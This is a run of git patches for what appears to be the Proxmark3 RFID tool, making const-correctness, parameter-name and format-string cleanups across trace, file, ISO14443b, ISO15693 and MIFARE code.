Copy an existing buffer into client trace buffer // I think this is cleaner than further globalizing gs_trace, and may lend itself to more modularity later? -bool ImportTraceBuffer(uint8_t *trace_src, uint16_t trace_len) { +bool ImportTraceBuffer(const uint8_t *trace_src, uint16_t trace_len) { if (trace_len == 0 || trace_src == NULL) return (false); if (gs_trace) { free(gs_trace); @@ -218,7 +218,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t switch (c) { case ICLASS_CMD_SELECT: { - tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); + const tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); tracepos += SKIP_TO_NEXT(next_hdr); if (next_hdr->data_len != 10) { break; @@ -231,7 +231,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t // get epurse if (frame[1] == 2 && data_len == 2) { - tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); + const tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); tracepos += SKIP_TO_NEXT(next_hdr); if (next_hdr->data_len < 8) { break; @@ -641,25 +641,22 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr } else if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAG2) || (protocol == PROTO_HITAGS))) { - // handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES - // This part prints the number of bits in the trace entry for hitag. - uint8_t nbits = parityBytes[0]; if (j == 0) { + // handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES + // This part prints the number of bits in the trace entry for hitag. + uint8_t nbits = parityBytes[0]; + // only apply this to lesser than one byte if (data_len == 1) { - if (nbits == 5) { - snprintf(line[0], 120, "%2u: %02X ", nbits, frame[0] >> (8 - nbits)); - } else { - snprintf(line[0], 120, "%2u: %02X ", nbits, frame[0] >> (8 - nbits)); - } + snprintf(line[0], 120, "%2u: %02X ", nbits, frame[0] >> (8 - nbits)); } else { if (nbits == 0) { - snprintf(line[0], 120, "%2u: %02X ", (data_len * 8), frame[0]); + snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(data_len * 8), frame[0]); } else { - snprintf(line[0], 120, "%2u: %02X ", ((data_len - 1) * 8) + nbits, frame[0]); + snprintf(line[0], 120, "%2u: %02X ", (uint16_t)((data_len - 1) * 8) + nbits, frame[0]); } } offset = 4; @@ -676,7 +673,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr if (markCRCBytes && data_len > 2) { // CRC-command - if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAGS)) && (data_len > 1)) { + if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAGS))) { // Note that UID REQUEST response has no CRC, but we don't know // if the response we see is a UID char *pos1 = line[(data_len - 1) / 18] + (((data_len - 1) % 18) * 4) + offset - 1; @@ -989,7 +986,6 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr // handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES // This part prints the number of bits in the trace entry for hitag. uint8_t nbits = parityBytes[0]; - annotateHitag2(explanation, sizeof(explanation), ht2plain, n, nbits, hdr->isResponse, NULL, 0, true); // iceman: colorise crc bytes here will need a refactor of code from above. @@ -1000,19 +996,13 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr // only apply this to lesser than one byte if (n == 1) { - - if (nbits == 5) { - snprintf(line[0], 120, "%2u: %02X ", nbits, ht2plain[0] >> (8 - nbits)); - } else { - snprintf(line[0], 120, "%2u: %02X ", nbits, ht2plain[0] >> (8 - nbits)); - } - + snprintf(line[0], 120, "%2u: %02X ", nbits, ht2plain[0] >> (8 - nbits)); } else { if (nbits == 0) { - snprintf(line[0], 120, "%2u: %02X ", (n * 8), ht2plain[0]); + snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(n * 8), ht2plain[0]); } else { - snprintf(line[0], 120, "%2u: %02X ", ((n - 1) * 8) + nbits, ht2plain[0]); + snprintf(line[0], 120, "%2u: %02X ", (uint16_t)((n - 1) * 8) + nbits, ht2plain[0]); } } offset = 4; @@ -1049,7 +1039,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr if (showWaitCycles && hdr->isResponse == false && next_record_is_response(tracepos, trace)) { - tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); + const tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); uint32_t time1 = end_of_transmission_timestamp - first_hdr->timestamp; uint32_t time2 = next_hdr->timestamp - first_hdr->timestamp; diff --git a/client/src/cmdtrace.h b/client/src/cmdtrace.h index 2be583a06..4b9278c47 100644 --- a/client/src/cmdtrace.h +++ b/client/src/cmdtrace.h @@ -24,6 +24,6 @@ int CmdTrace(const char *Cmd); int CmdTraceList(const char *Cmd); int CmdTraceListAlias(const char *Cmd, const char *alias, const char *protocol); -bool ImportTraceBuffer(uint8_t *trace_src, uint16_t trace_len); +bool ImportTraceBuffer(const uint8_t *trace_src, uint16_t trace_len); #endif From 5107b7ce0476793b4268f9372b0d88d73b385c36 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:29:33 +0200 Subject: [PATCH 047/157] fix fct names mismatch, const params, --- client/src/fileutils.c | 10 +++++----- client/src/fileutils.h | 8 ++++---- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/client/src/fileutils.c b/client/src/fileutils.c index 9545753bc..5fa74c4b0 100644 --- a/client/src/fileutils.c +++ b/client/src/fileutils.c @@ -747,7 +747,7 @@ out: int saveFileJSONroot(const char *preferredName, void *root, size_t flags, bool verbose) { return saveFileJSONrootEx(preferredName, root, flags, verbose, false); } -int saveFileJSONrootEx(const char *preferredName, void *root, size_t flags, bool verbose, bool overwrite) { +int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags, bool verbose, bool overwrite) { if (root == NULL) return PM3_EINVARG; @@ -863,7 +863,7 @@ out: } // key file dump -int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector) { +int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, const sector_t *e_sector) { if (e_sector == NULL) return PM3_EINVARG; @@ -1743,7 +1743,7 @@ int loadFileJSONex(const char *preferredName, void *data, size_t maxdatalen, siz goto out; } - snprintf(blocks, sizeof(blocks), "$.blocks.%d", i); + snprintf(blocks, sizeof(blocks), "$.blocks.%u", i); JsonLoadBufAsHex(root, blocks, &tag->data[sptr], 4, &len); if (load_file_sanity(ctype, tag->bytesPerPage, i, len) == false) { break; @@ -1790,7 +1790,7 @@ int loadFileJSONex(const char *preferredName, void *data, size_t maxdatalen, siz goto out; } - snprintf(blocks, sizeof(blocks), "$.blocks.%d", i); + snprintf(blocks, sizeof(blocks), "$.blocks.%u", i); JsonLoadBufAsHex(root, blocks, &tag->data[sptr], 8, &len); if (load_file_sanity(ctype, tag->bytesPerPage, i, len) == false) { break; @@ -2426,7 +2426,7 @@ mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose) { // detect plain if (retval == MFU_DF_UNKNOWN) { - uint8_t *plain = *dump; + const uint8_t *plain = *dump; bcc0 = ct ^ plain[0] ^ plain[1] ^ plain[2]; bcc1 = plain[4] ^ plain[5] ^ plain[6] ^ plain[7]; if ((bcc0 == plain[3]) && (bcc1 == plain[8])) { diff --git a/client/src/fileutils.h b/client/src/fileutils.h index 3eb2a0541..b469eba68 100644 --- a/client/src/fileutils.h +++ b/client/src/fileutils.h @@ -107,8 +107,8 @@ int fileExists(const char *filename); bool setDefaultPath(savePaths_t pathIndex, const char *path); char *newfilenamemcopy(const char *preferredName, const char *suffix); -char *newfilenamemcopyEx(const char *preferredName, const char *suffix, savePaths_t save_path); -void truncate_filename(char *fn, uint16_t len); +char *newfilenamemcopyEx(const char *preferredName, const char *suffix, savePaths_t e_save_path); +void truncate_filename(char *fn, uint16_t maxlen); /** @@ -138,7 +138,7 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, void (*callback)(json_t *)); int saveFileJSONex(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *), savePaths_t e_save_path); int saveFileJSONroot(const char *preferredName, void *root, size_t flags, bool verbose); -int saveFileJSONrootEx(const char *preferredName, void *root, size_t flags, bool verbose, bool overwrite); +int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags, bool verbose, bool overwrite); /** STUB * @brief Utility function to save WAVE data to a file. This method takes a preferred name, but if that * file already exists, it tries with another name until it finds something suitable. @@ -171,7 +171,7 @@ int saveFilePM3(const char *preferredName, int *data, size_t datalen); * @param e_sector the keys in question * @return 0 for ok, 1 for failz */ -int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector); +int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, const sector_t *e_sector); /** * @brief Utility function to load data from a binary file. This method takes a preferred name. From f63ba3f31a8ae818fa87d4f87d93fded14f57997 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:32:57 +0200 Subject: [PATCH 048/157] fix fct name mismatch --- armsrc/dbprint.c | 6 +++--- armsrc/dbprint.h | 4 ++-- armsrc/iso14443b.c | 6 +++--- armsrc/iso14443b.h | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/armsrc/dbprint.c b/armsrc/dbprint.c index afb83da4c..4c58ccbdd 100644 --- a/armsrc/dbprint.c +++ b/armsrc/dbprint.c @@ -101,9 +101,9 @@ void Dbhexdump(int len, const uint8_t *d, bool bAsci) { d += 16; } #endif -} +}void print_result(const char *name, const uint8_t *d, size_t -void print_result(const char *name, const uint8_t *d, size_t n) { + n) { const uint8_t *p = d; uint16_t tmp = n & 0xFFF0; @@ -129,7 +129,7 @@ void print_result(const char *name, const uint8_t *d, size_t n) { } // Prints message and hexdump -void print_dbg(char *msg, uint8_t *d, uint16_t n) { +void print_dbg(const char *msg, const uint8_t *d, uint16_t n) { if (g_dbglevel == DBG_DEBUG) { print_result(msg, d, n); } diff --git a/armsrc/dbprint.h b/armsrc/dbprint.h index 4bfa6c89f..bf68dc63f 100644 --- a/armsrc/dbprint.h +++ b/armsrc/dbprint.h @@ -27,8 +27,8 @@ void DbpStringEx(uint32_t flags, const char *src, size_t srclen); void Dbprintf(const char *fmt, ...); void DbprintfEx(uint32_t flags, const char *fmt, ...); void Dbhexdump(int len, const uint8_t *d, bool bAsci); -void print_result(const char *name, const uint8_t *buf, size_t len); -void print_dbg(char *msg, uint8_t *d, uint16_t n); +void print_result(const char *name, const uint8_t *d, size_t n); +void print_dbg(const char *msg, const uint8_t *d, uint16_t n); //void PrintToSendBuffer(void); #endif diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index d70dd7d8b..a388f76f3 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -1582,7 +1582,7 @@ static void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t /* Sends an APDU to the tag * TODO: check CRC and preamble */ -int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *response_byte, uint16_t *reponselen) { +int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *response_byte, uint16_t *responselen) { uint8_t real_cmd[msg_len + 4]; @@ -1693,8 +1693,8 @@ int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void } } - if (reponselen) { - *reponselen = len; + if (responselen) { + *responselen = len; } return PM3_SUCCESS; } diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index f6a40a102..8e58942fb 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -39,7 +39,7 @@ #endif void iso14443b_setup(void); -int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *res, uint16_t *responselen); +int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *response_byte, uint16_t *responselen); int iso14443b_select_card(iso14b_card_select_t *card); From 6f23b7f3ebef81b1827e44246b797bcb147882c1 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:40:26 +0200 Subject: [PATCH 049/157] fix fct name mismatch, const params, --- armsrc/iso14443b.c | 4 ++-- armsrc/iso15693.c | 28 ++++++++++++++-------------- armsrc/iso15693.h | 6 +++--- 3 files changed, 19 insertions(+), 19 deletions(-) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index a388f76f3..a802f6282 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -774,7 +774,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) { int cardSTATE = SIM_NOFIELD; int vHf = 0; // in mV - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); @@ -1566,7 +1566,7 @@ static void CodeIso14443bAsReader(const uint8_t *cmd, int len, bool framing) { * Convenience function to encode, transmit and trace iso 14443b comms */ static void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing) { - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); CodeIso14443bAsReader(cmd, len, framing); TransmitFor14443b_AsReader(start_time); if (g_trigger) LED_A_ON(); diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index 0c7d1335a..6387672ea 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -1009,7 +1009,7 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo } uint32_t dma_start_time = 0; - uint16_t *upTo = dma->buf; + const uint16_t *upTo = dma->buf; for (;;) { @@ -1502,7 +1502,7 @@ int GetIso15693CommandFromReader(uint8_t *received, size_t max_len, uint32_t *eo if (g_dbglevel > DBG_ERROR) Dbprintf("FpgaSetupSscDma failed. Exiting"); return -4; } - uint8_t *upTo = dma->buf; + const uint8_t *upTo = dma->buf; uint32_t dma_start_time = GetCountSspClk() & 0xfffffff8; @@ -1603,7 +1603,7 @@ void AcquireRawAdcSamplesIso15693(void) { SpinDelay(250); // Now send the command - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); uint32_t start_time = 0; TransmitTo15693Tag(ts->buf, ts->max, &start_time, false); @@ -1681,7 +1681,7 @@ void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool icla // Count of samples received so far, so that we can include timing int samples = 0; - uint16_t *upTo = dma->buf; + const uint16_t *upTo = dma->buf; for (;;) { @@ -1902,7 +1902,7 @@ static void BuildIdentifyRequest(uint8_t *cmd) { // If you do not need the answer use NULL for *recv[] // return: length of received data // logging enabled -int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t *recv, +int SendDataTag(const uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, uint16_t *resp_len) { if (init) { @@ -1918,7 +1918,7 @@ int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t CodeIso15693AsReader256(send, sendlen); } - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); TransmitTo15693Tag(ts->buf, ts->max, &start_time, false); if (tearoff_hook() == PM3_ETEAROFF) { // tearoff occurred @@ -1941,7 +1941,7 @@ int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, bool fsk, bool recv_speed, uint16_t *resp_len) { CodeIso15693AsReaderEOF(); - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); TransmitTo15693Tag(ts->buf, ts->max, &start_time, false); uint32_t end_time = start_time + 32 * (8 * ts->max - 4); // subtract the 4 padding bits after EOF LogTrace_ISO15693(NULL, 0, (start_time * 4), (end_time * 4), NULL, true); @@ -1959,9 +1959,9 @@ int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, ui // Decodes a message from a tag and displays its metadata and content #define DBD15STATLEN 48 -static void DbdecodeIso15693Answer(int len, uint8_t *d) { +static void DbdecodeIso15693Answer(int n, const uint8_t *d) { - if (len > 3) { + if (n > 3) { char status[DBD15STATLEN + 1] = {0}; @@ -2007,7 +2007,7 @@ static void DbdecodeIso15693Answer(int len, uint8_t *d) { strncat(status, "No error ", DBD15STATLEN - strlen(status)); } - if (CheckCrc15(d, len)) + if (CheckCrc15(d, n)) strncat(status, "[+] crc ( " _GREEN_("ok") " )", DBD15STATLEN - strlen(status)); else strncat(status, "[!] crc ( " _RED_("fail") " )", DBD15STATLEN - strlen(status)); @@ -2127,7 +2127,7 @@ void EmlClearIso15693(void) { // Simulate an ISO15693 TAG, perform anti-collision and then print any reader commands // all demodulation performed in arm rather than host. - greg -void SimTagIso15693(uint8_t *uid, uint8_t block_size) { +void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { // free eventually allocated BigBuf memory BigBuf_free_keep_EM(); @@ -2581,7 +2581,7 @@ void SimTagIso15693(uint8_t *uid, uint8_t block_size) { AddCrc15(recv, recvLen); recvLen += 2; CodeIso15693AsTag(recv, recvLen); - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); uint32_t response_time = reader_eof_time + DELAY_ISO15693_VCD_TO_VICC_SIM; if (tag->expectFsk) { // Not suppoted yet @@ -3028,7 +3028,7 @@ static uint32_t disable_privacy_15693_Slix(uint32_t start_time, uint32_t *eof_ti return PM3_SUCCESS; } -static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, uint8_t *uid) { +static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, const uint8_t *uid) { uint8_t rnd[2]; @@ -3141,7 +3141,7 @@ static uint32_t enable_eas_15693_Slix(uint32_t start_time, uint32_t *eof_time, c return PM3_SUCCESS; } -static uint32_t write_password_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pwd_id, const uint8_t *password, uint8_t *uid) { +static uint32_t write_password_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pwd_id, const uint8_t *password, const uint8_t *uid) { uint8_t new_pwd_cmd[] = { (ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS), ISO15693_WRITE_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, pwd_id, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; diff --git a/armsrc/iso15693.h b/armsrc/iso15693.h index 6870c3f95..0f04fddf9 100644 --- a/armsrc/iso15693.h +++ b/armsrc/iso15693.h @@ -47,13 +47,13 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo void AcquireRawAdcSamplesIso15693(void); void ReaderIso15693(iso15_card_select_t *p_card); // ISO15693 reader void EmlClearIso15693(void); -void SimTagIso15693(uint8_t *uid, uint8_t block_size); // simulate an ISO15693 tag +void SimTagIso15693(const uint8_t *uid, uint8_t block_size); // simulate an ISO15693 tag void BruteforceIso15693Afi(uint32_t flags); // find an AFI of a tag void SendRawCommand15693(iso15_raw_cmd_t *packet); // send arbitrary commands from CLI void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool iclass); -int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t *recv, +int SendDataTag(const uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, uint16_t *resp_len); int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, bool fsk, bool recv_speed, uint16_t *resp_len); @@ -68,5 +68,5 @@ void DisableEAS_AFISlixIso15693(const uint8_t *password, bool usepwd); void EnableEAS_AFISlixIso15693(const uint8_t *password, bool usepwd); void PassProtextEASSlixIso15693(const uint8_t *password); void PassProtectAFISlixIso15693(const uint8_t *password); -void WriteAFIIso15693(const uint8_t *password, bool usepwd, uint8_t *uid, bool use_uid, uint8_t afi); +void WriteAFIIso15693(const uint8_t *password, bool use_pwd, uint8_t *uid, bool use_uid, uint8_t afi); #endif From 9535bd5a114b02f797e9630816d41ea55564e623 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:41:22 +0200 Subject: [PATCH 050/157] fix fct name mismatch --- armsrc/util.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/util.h b/armsrc/util.h index ecd884254..5099433e5 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -82,7 +82,7 @@ #endif size_t nbytes(size_t nbits); -uint8_t hex2int(char hexchar); +uint8_t hex2int(char x); int hex2binarray(char *target, char *source); int hex2binarray_n(char *target, char *source, int sourcelen); From bae6f5196f6662570b6a183bea1f5440b58167ee Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:42:08 +0200 Subject: [PATCH 051/157] fix fct name mismatch --- armsrc/util.c | 2 +- armsrc/util.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/armsrc/util.c b/armsrc/util.c index 252b09d0d..89a5d598b 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -86,7 +86,7 @@ int hex2binarray(char *target, char *source) { return hex2binarray_n(target, source, strlen(source)); } -int hex2binarray_n(char *target, char *source, int sourcelen) { +int hex2binarray_n(char *target, const char *source, int sourcelen) { int count = 0; // process 4 bits (1 hex digit) at a time diff --git a/armsrc/util.h b/armsrc/util.h index 5099433e5..8842b5d8d 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -85,7 +85,7 @@ size_t nbytes(size_t nbits); uint8_t hex2int(char x); int hex2binarray(char *target, char *source); -int hex2binarray_n(char *target, char *source, int sourcelen); +int hex2binarray_n(char *target, const char *source, int sourcelen); int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex); void LED(int led, int ms); From 2d3e71d556fda269fc6ffeb32ad69880f728ab43 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 12:52:44 +0200 Subject: [PATCH 052/157] fix fct names, const params --- client/src/mifare/mifare4.c | 6 +++--- client/src/mifare/mifare4.h | 9 +++++---- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/client/src/mifare/mifare4.c b/client/src/mifare/mifare4.c index d5ef97acc..85af35820 100644 --- a/client/src/mifare/mifare4.c +++ b/client/src/mifare/mifare4.c @@ -203,7 +203,7 @@ int CalculateMAC(mf4Session_t *mf4session, MACType_t mtype, uint8_t blockNum, ui return aes_cmac8(NULL, mf4session->Kmac, macdata, mac, macdatalen); } -int MifareAuth4(mf4Session_t *mf4session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode) { +int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode) { uint8_t data[257] = {0}; int datalen = 0; @@ -375,7 +375,7 @@ static int intExchangeRAW14aPlus(uint8_t *datain, int datainlen, bool activateFi return res; } -int MFPWritePerso(uint8_t *keyNum, uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { +int MFPWritePerso(const uint8_t *keyNum, const uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { uint8_t rcmd[3 + 16] = {0xa8, keyNum[1], keyNum[0], 0x00}; memmove(&rcmd[3], key, 16); @@ -432,7 +432,7 @@ int MFPReadBlock(mf4Session_t *mf4session, bool plain, bool nomaccmd, bool nomac return PM3_SUCCESS; } -int MFPWriteBlock(mf4Session_t *mf4session, bool plain, bool nomacres, uint8_t blockNum, uint8_t blockHdr, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { +int MFPWriteBlock(mf4Session_t *mf4session, bool plain, bool nomacres, uint8_t blockNum, uint8_t blockHdr, const uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { int cmdb = 0xA1; if (nomacres) { cmdb = cmdb ^ 0x01; // If we do not want MAC in reply, remove 0x01 diff --git a/client/src/mifare/mifare4.h b/client/src/mifare/mifare4.h index b5449ab44..fedb482a4 100644 --- a/client/src/mifare/mifare4.h +++ b/client/src/mifare/mifare4.h @@ -20,6 +20,7 @@ #define MIFARE4_H #include "common.h" +#include typedef struct { bool Authenticated; @@ -59,12 +60,12 @@ void mfpSetVerboseMode(bool verbose); const char *mfpGetErrorDescription(uint8_t errorCode); int CalculateMAC(mf4Session_t *mf4session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose); -int MifareAuth4(mf4Session_t *mf4session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode); +int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode); -int MFPWritePerso(uint8_t *keyNum, uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); +int MFPWritePerso(const uint8_t *keyNum, const uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int MFPCommitPerso(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); -int MFPReadBlock(mf4Session_t *mf4session, bool plain, bool maccmd, bool macres, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); -int MFPWriteBlock(mf4Session_t *mf4session, bool plain, bool nomacres, uint8_t blockNum, uint8_t blockHdr, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); +int MFPReadBlock(mf4Session_t *mf4session, bool plain, bool nomaccmd, bool nomacres, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); +int MFPWriteBlock(mf4Session_t *mf4session, bool plain, bool nomacres, uint8_t blockNum, uint8_t blockHdr, const uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *dataout, bool verbose); int MFPGetSignature(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); From 4bbfc944f3fe8b51227e429f8616e2b58a07299e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 14:13:13 +0200 Subject: [PATCH 053/157] fix const params, logic, casting --- client/src/cmdtrace.c | 4 ++-- client/src/comms.c | 16 ++++++++-------- client/src/comms.h | 4 ++-- 3 files changed, 12 insertions(+), 12 deletions(-) diff --git a/client/src/cmdtrace.c b/client/src/cmdtrace.c index 738accee6..b4191c94d 100644 --- a/client/src/cmdtrace.c +++ b/client/src/cmdtrace.c @@ -656,7 +656,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr if (nbits == 0) { snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(data_len * 8), frame[0]); } else { - snprintf(line[0], 120, "%2u: %02X ", (uint16_t)((data_len - 1) * 8) + nbits, frame[0]); + snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(((data_len - 1) * 8) + nbits), frame[0]); } } offset = 4; @@ -1002,7 +1002,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr if (nbits == 0) { snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(n * 8), ht2plain[0]); } else { - snprintf(line[0], 120, "%2u: %02X ", (uint16_t)((n - 1) * 8) + nbits, ht2plain[0]); + snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(((n - 1) * 8) + nbits), ht2plain[0]); } } offset = 4; diff --git a/client/src/comms.c b/client/src/comms.c index cc506f77d..90493dae0 100644 --- a/client/src/comms.c +++ b/client/src/comms.c @@ -87,7 +87,7 @@ void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, vo SendCommandOLD(cmd, arg0, arg1, arg2, data, len); } -void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { +void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) { PacketCommandOLD c = {CMD_UNKNOWN, {0, 0, 0}, {{0}}}; c.cmd = cmd; c.arg[0] = arg0; @@ -198,7 +198,7 @@ void SendCommandNG(uint16_t cmd, uint8_t *data, size_t len) { SendCommandNG_internal(cmd, data, len, true); } -void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { +void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) { 